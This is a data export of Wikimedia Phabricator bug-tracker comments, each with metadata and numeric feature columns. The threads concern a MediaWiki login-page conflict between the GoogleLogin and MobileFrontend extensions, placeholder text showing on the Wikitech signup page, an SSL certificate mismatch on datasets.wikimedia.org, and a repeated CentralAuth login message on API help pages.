340174,Login link redirect to default login (with MobileFrontend),Looks like Florian's advice fixed it? :),,,1418170591,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,Looks like Florian's advice fixed it? :)
331981,Login link redirect to default login (with MobileFrontend),":/ MediaWiki.org links seems not to work:
https://www.mediawiki.org/wiki/Extension:GoogleLogin#MobileFrontend_.3C-.3E_GoogleLogin_conflict_.28only_with_.24wgGLReplaceMWLogin_.3D_true.21.29",,,1415047942,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,":/ MediaWiki.org links seems not to work:
URL"
331979,Login link redirect to default login (with MobileFrontend),"Thanks for confirm this :)

Added the info to the Extension page: [[Extension:GoogleLogin#MobileFrontend_.3C-.3E_GoogleLogin_conflict_.28only_with_.24wgGLReplaceMWLogin_.3D_true.21.29]]",,,1415047878,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,24.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.285714285714286,0.7619047619047619,"Thanks for confirm this :)

Added the info to the Extension page: [[Extension:GoogleLogin#MobileFrontend_.3C-.3E_GoogleLogin_conflict_.28only_with_.24wgGLReplaceMWLogin_.3D_true.21.29]]"
331976,Login link redirect to default login (with MobileFrontend),"**tim.schenk** wrote:

Florian, thanks for your help.
Changing the order in which the extensions load solves my problem.

Thanks again for the fast reply!",,,1415046994,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7222222222222223,0.7777777777777778,"**tim.schenk** wrote:

Florian, thanks for your help.
Changing the order in which the extensions load solves my problem.

Thanks again for the fast reply!"
331974,Login link redirect to default login (with MobileFrontend),"Actually it depends on MobileFrontend in a special way :) Both Extensions, MobileFrontend and GoogleLogin, will rewrite the handler for the Login class. GoogleLogin will do this only, if $wgGLReplaceMWLogin is set to true to prevent the vanilla LoginForm to appear.

MobileFrontend was created in an early version of MediaWiki and had to replace the LoginForm, too, to fit the needs of a mobile device (it will do this every time, the user is in mobile mode).

Now, the problem is, that the login page can be only one class and it wins the extension that has overwritten the key last.

So, in fact, the Extension which was loaded last will provide the login screen. That means for you, as a quick fix, that you can place the ""require_once"" line of GoogleLogin somewhere _after_ the MobileFrontend ""require_once"" line. This should solve the problem for now.

The best solution is, that MobileFrontend doesn't need to overwrite the login page anymore. Actually, the developer team is working on this and implemented such a feature in the alpha mode of MobileFrontend (I8f89bdaf3dc7fde104f199554b18486c30580910). It will take some time to solve this problem, but it isn't a real bug of GoogleLogin. I will create a tracking but for this in MobileFrontend :)

(I will set the status of this bug to assigned and take it anyway, but the work has to be done in MobileFrontend :))

P.S.: Thanks for the very detailed bug report! :)",,,1415036134,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-pfikpnlkzh62ngeq4fwl,task_subcomment,,True,c3,1,True,,,-35,True,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,4.666666666666667,11.666666666666666,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,4.0,0.3333333333333333,2.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,1.0,14.0,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,9.666666666666666,3.3333333333333335,10.666666666666666,1.3333333333333333,2.6666666666666665,14.333333333333334,0.0,1.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,3.6666666666666665,11.666666666666666,6.333333333333333,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.1319444444444455,0.6319444444444445,"Actually it depends on MobileFrontend in a special way :) Both Extensions, MobileFrontend and GoogleLogin, will rewrite the handler for the Login class. GoogleLogin will do this only, if $wgGLReplaceMWLogin is set to true to prevent the vanilla LoginForm to appear.

MobileFrontend was created in an early version of MediaWiki and had to replace the LoginForm, too, to fit the needs of a mobile device (it will do this every time, the user is in mobile mode).

Now, the problem is, that the login page can be only one class and it wins the extension that has overwritten the key last.

So, in fact, the Extension which was loaded last will provide the login screen. That means for you, as a quick fix, that you can place the ""require_once"" line of GoogleLogin somewhere _after_ the MobileFrontend ""require_once"" line. This should solve the problem for now.

The best solution is, that MobileFrontend doesn't need to overwrite the login page anymore. Actually, the developer team is working on this and implemented such a feature in the alpha mode of MobileFrontend (I8f89bdaf3dc7fde104f199554b18486c30580910). It will take some time to solve this problem, but it isn't a real bug of GoogleLogin. I will create a tracking but for this in MobileFrontend :)

(I will set the status of this bug to assigned and take it anyway, but the work has to be done in MobileFrontend :))

P.S.: Thanks for the very detailed bug report! :)"
74849,Wikitech signup page displays <loginstart> and <loginend>,"[[wikitech:Special:UserLogin/signup]] contains the following text:

----

<loginstart> 

 By creating an account in this project and/or using other wmflabs.org Services, you agree to comply with the Terms of Use for wmflabs.org. 

[...]

If that's not the case, ask someone to verify from a labs instance whether the shell username is taken, by issuing the command groups $username on a shell.

<loginend>

----

The <loginstart> and <loginend> placeholders should not be visible.

--------------------------
**Version**: unspecified
**Severity**: trivial",Medium,50.0,1414822440,1433868248.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-ovsa4swrphzdhhychn3j,task_description,resolved,True,c3,1,True,False,True,-35,True,0.0,0.5,0.0,1.0,1.5,3.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,1.0,1.0,0.0,0.0,0.0,14.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,6.0,1.5,1.5,7.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,7.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,7.5,3.920762928827445,0.7114695340501792,"[[wikitech:Special:UserLogin/signup]] contains the following text:

----

<loginstart> 

 By creating an account in this project and/or using other wmflabs.org Services, you agree to comply with the Terms of Use for wmflabs.org. 

[...]

If that's not the case, ask someone to verify from a labs instance whether the shell username is taken, by issuing the command groups $username on a shell.

<loginend>

----

The <loginstart> and <loginend> placeholders should not be visible.

--------------------------
**Version**: unspecified
**Severity**: trivial"
471556,Wikitech signup page displays <loginstart> and <loginend>,I've removed the singupstart and signupend templates.,,,1433868248,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,I've removed the singupstart and signupend templates.
329572,Wikitech signup page displays <loginstart> and <loginend>,"IMHO, you can drop it.

Signupstart is intended to be an extra message.

If defined, it adds the following block to the code, before the #userloginForm element:

    <div id=""signupstart"">Content of Signupstart message</div>

The same applies for Signupend, it's added in the userloginForm, after the form and before the closing div.

    <div id=""signupend"">Content of Signupend message</div>

Reference: mediawiki/core, includes/templates/Usercreate.php

[On a side note, feel free to open another bug to give them better names: the first is an extra introductio before the form, the second is an extra place inside the form).",,,1415482419,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.5,0.0,7.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,5.0,1.5,1.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,2.5,6.0,0.5,0.5,10.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,3.0,9.5,7.5,0.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,1.5,1.0,0.0,2.5,4.2910466269841265,0.732390873015873,"IMHO, you can drop it.

Signupstart is intended to be an extra message.

If defined, it adds the following block to the code, before the #userloginForm element:

    <div id=""signupstart"">Content of Signupstart message</div>

The same applies for Signupend, it's added in the userloginForm, after the form and before the closing div.

    <div id=""signupend"">Content of Signupend message</div>

Reference: mediawiki/core, includes/templates/Usercreate.php

[On a side note, feel free to open another bug to give them better names: the first is an extra introductio before the form, the second is an extra place inside the form)."
329568,Wikitech signup page displays <loginstart> and <loginend>,"I'm happy to fix this, but I'm with Tim -- not yet clear on what the proper solution is.",,,1415459744,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0434782608695654,0.9130434782608695,"I'm happy to fix this, but I'm with Tim -- not yet clear on what the proper solution is."
329565,Wikitech signup page displays <loginstart> and <loginend>,"(Not being a sysop, just curious: Does this mean that ""{{int:loginstart}}"" should be removed from [[wikitech:MediaWiki:Signupstart]], or that [[wikitech:MediaWiki:Loginstart]] needs to be created?)",,,1415455890,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,11.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,8.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,3.30188679245283,0.6415094339622641,"(Not being a sysop, just curious: Does this mean that ""{{int:loginstart}}"" should be removed from [[wikitech:MediaWiki:Signupstart]], or that [[wikitech:MediaWiki:Loginstart]] needs to be created?)"
329561,Wikitech signup page displays <loginstart> and <loginend>,"(In reply to Dereckson from comment #2)
> Could you contact a sysop from this list about this issue? 
> https://wikitech.wikimedia.org/w/index.
> php?title=Special%3AListUsers&username=&group=sysop&editsOnly=1&limit=50

A number of them got automatically CC'd onto this bug, so I wonder if one of them could take a moment to fix this?",,,1415436725,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,19.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,7.0,19.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.3488372093023258,0.813953488372093,"(In reply to Dereckson from comment #2)
QUOTE
QUOTE
QUOTE

A number of them got automatically CC'd onto this bug, so I wonder if one of them could take a moment to fix this?"
329556,Wikitech signup page displays <loginstart> and <loginend>,Could you contact a sysop from this list about this issue?  https://wikitech.wikimedia.org/w/index.php?title=Special%3AListUsers&username=&group=sysop&editsOnly=1&limit=50,,,1415410102,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9285714285714286,Could you contact a sysop from this list about this issue?  URL
329548,Wikitech signup page displays <loginstart> and <loginend>,"This is a problem directly solvable on the wiki.

The system messages concerned is signupstart. And indeed [[wikitech:MediaWiki:Signupstart]] start with {{int:loginstart}}.

When through ULS I switched from qqx back to en, I got a regular English message. So yes, it's well an issue with the local message.",,,1415409906,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,15.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,8.0,7.0,0.0,0.0,0.0,4.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,3.6901408450704225,0.7464788732394366,"This is a problem directly solvable on the wiki.

The system messages concerned is signupstart. And indeed [[wikitech:MediaWiki:Signupstart]] start with {{int:loginstart}}.

When through ULS I switched from qqx back to en, I got a regular English message. So yes, it's well an issue with the local message."
74805,datasets.wikimedia.org SSL error,"https://datasets.wikimedia.org/public-datasets gives a 404 (meaning that people on SSL can't access any data available at this URL). See https://twitter.com/wrought/status/528059346995802112

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1414734660,1418819829.0,PHID-USER-qb5aoo443n6fezsozhv4,False,PHID-USER-pntojlcbclwhuip53bix,False,PHID-TASK-kpahzxvfx64ji7koc3wu,task_description,resolved,True,c3,1,False,False,True,-35,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.682926829268293,0.7317073170731707,"URL gives a 404 (meaning that people on SSL can't access any data available at this URL). See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
343341,datasets.wikimedia.org SSL error,"ottomata moved stat1001 behind misc-web.

Now SSL is handled before the request gets to stat1001, and the issue is gone.",,,1418819829,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-kpahzxvfx64ji7koc3wu,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.8461538461538461,"ottomata moved stat1001 behind misc-web.

Now SSL is handled before the request gets to stat1001, and the issue is gone."
327493,datasets.wikimedia.org SSL error,"Deprioritizing, as this did not break ... it never worked.

The corresponding RT ticket from 2014-08-05 is RT 8085.

It has also been reported on the analytics mailing list in 2014-09-30 at:

  https://lists.wikimedia.org/pipermail/analytics/2014-September/002526.html

.",,,1415023357,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-kpahzxvfx64ji7koc3wu,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.42,0.82,"Deprioritizing, as this did not break ... it never worked.

The corresponding RT ticket from 2014-08-05 is RT 8085.

It has also been reported on the analytics mailing list in 2014-09-30 at:

  URL

."
327486,datasets.wikimedia.org SSL error,"I first get
""datasets.wikimedia.org uses an invalid security certificate. The certificate is only valid for stats.wikimedia.org (Error code: ssl_error_bad_cert_domain)"" in Firefox 33 and then a 404.",,,1414995835,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kpahzxvfx64ji7koc3wu,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,9.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,5.117647058823529,0.9117647058823529,"I first get
""datasets.wikimedia.org uses an invalid security certificate. The certificate is only valid for stats.wikimedia.org (Error code: ssl_error_bad_cert_domain)"" in Firefox 33 and then a 404."
74174,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","Every page of action=help (e.g. https://www.mediawiki.org/w/api.php) makes calls to lots of Special:CentralAuthLogin on different wikis, and shows a message:

Central login
You are centrally logged in as <User>. Reload the page to apply your user settings.

And if you reload the page or load any other action=help page, just the same happens.

This is probably due to the fact that action=help treats you as logged-out, while CentralAuth has cookies to detect you should be logged in.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/w/api.php",Medium,50.0,1413532380,1414425280.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-clwgsyzylbfaofhdvsqz,task_description,resolved,True,c3,1,False,False,True,-37,True,1.0,0.0,0.0,1.5,0.0,4.0,1.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,10.5,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,3.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,13.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,2.0,9.5,2.0,1.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,10.5,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,3.6604662698412698,0.7237103174603174,"Every page of action=help (e.g. URL makes calls to lots of Special:CentralAuthLogin on different wikis, and shows a message:

Central login
You are centrally logged in as <User>. Reload the page to apply your user settings.

And if you reload the page or load any other action=help page, just the same happens.

This is probably due to the fact that action=help treats you as logged-out, while CentralAuth has cookies to detect you should be logged in.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
322792,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","(In reply to Helder from comment #3)
> I keep getting the message ""Central login
> You are centrally logged in as (...). Reload the page to apply your user
> settings.""
> on the new format of this page:
> https://en.wikipedia.org/w/api.
> php?action=query&meta=siteinfo&siprop=statistics

The merged change that should fix this will go out with 1.25wmf5, see https://www.mediawiki.org/wiki/MediaWiki_1.25/Roadmap for the schedule.",,,1414425280,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,24.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,5.0,0.0,0.0,14.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4047619047619047,0.7619047619047619,"(In reply to Helder from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The merged change that should fix this will go out with 1.25wmf5, see URL for the schedule."
322784,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","I keep getting the message ""Central login
You are centrally logged in as (...). Reload the page to apply your user settings.""
on the new format of this page:
